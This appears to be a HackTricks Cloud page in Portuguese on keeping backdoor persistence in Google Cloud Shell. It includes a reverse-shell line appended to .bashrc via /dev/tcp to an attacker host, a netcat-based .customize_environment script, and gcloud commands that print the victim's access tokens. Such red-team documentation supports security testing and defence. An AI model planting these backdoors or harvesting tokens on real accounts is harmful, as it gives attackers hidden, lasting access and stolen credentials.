GCP - Persistência do Cloud Shell
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cloud Shell
Para mais informações, consulte:
Backdoor Persistente
Google Cloud Shell fornece acesso à linha de comando aos seus recursos de nuvem diretamente do seu navegador sem nenhum custo associado.
Você pode acessar o Cloud Shell do Google pela console web ou executando gcloud cloud-shell ssh
.
Esta console tem algumas capacidades interessantes para atacantes:
- Qualquer usuário do Google com acesso ao Google Cloud tem acesso a uma instância do Cloud Shell totalmente autenticada (Contas de Serviço podem, mesmo sendo Proprietários da organização).
- Dita instância manterá seu diretório home por pelo menos 120 dias se nenhuma atividade ocorrer.
- Não há capacidades para uma organização monitorar a atividade dessa instância.
Isso basicamente significa que um atacante pode colocar um backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell a cada 120 dias pelo menos, o backdoor sobreviverá e o atacante obterá um shell toda vez que for executado apenas fazendo:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
Há outro arquivo na pasta inicial chamado .customize_environment
que, se existir, será executado toda vez que o usuário acessar o cloud shell (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter a persistência enquanto o usuário usar "frequentemente" o cloud shell:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
warning
É importante notar que a primeira vez que uma ação que requer autenticação é realizada, uma janela de autorização pop-up aparece no navegador do usuário. Esta janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência sendo utilizado.
Este é o pop-up da execução de gcloud projects list
a partir do cloud shell (como atacante) visualizado na sessão do navegador do usuário:
.png)
No entanto, se o usuário tiver usado ativamente o cloudshell, o pop-up não aparecerá e você pode coletar tokens do usuário com:
gcloud auth print-access-token
gcloud auth application-default print-access-token
Como a conexão SSH é estabelecida
Basicamente, essas 3 chamadas de API são usadas:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (fará você adicionar sua chave pública que você criou localmente)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (fará você iniciar a instância)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (informará o IP do Google Cloud Shell)
Mas você pode encontrar mais informações em https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Referências
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.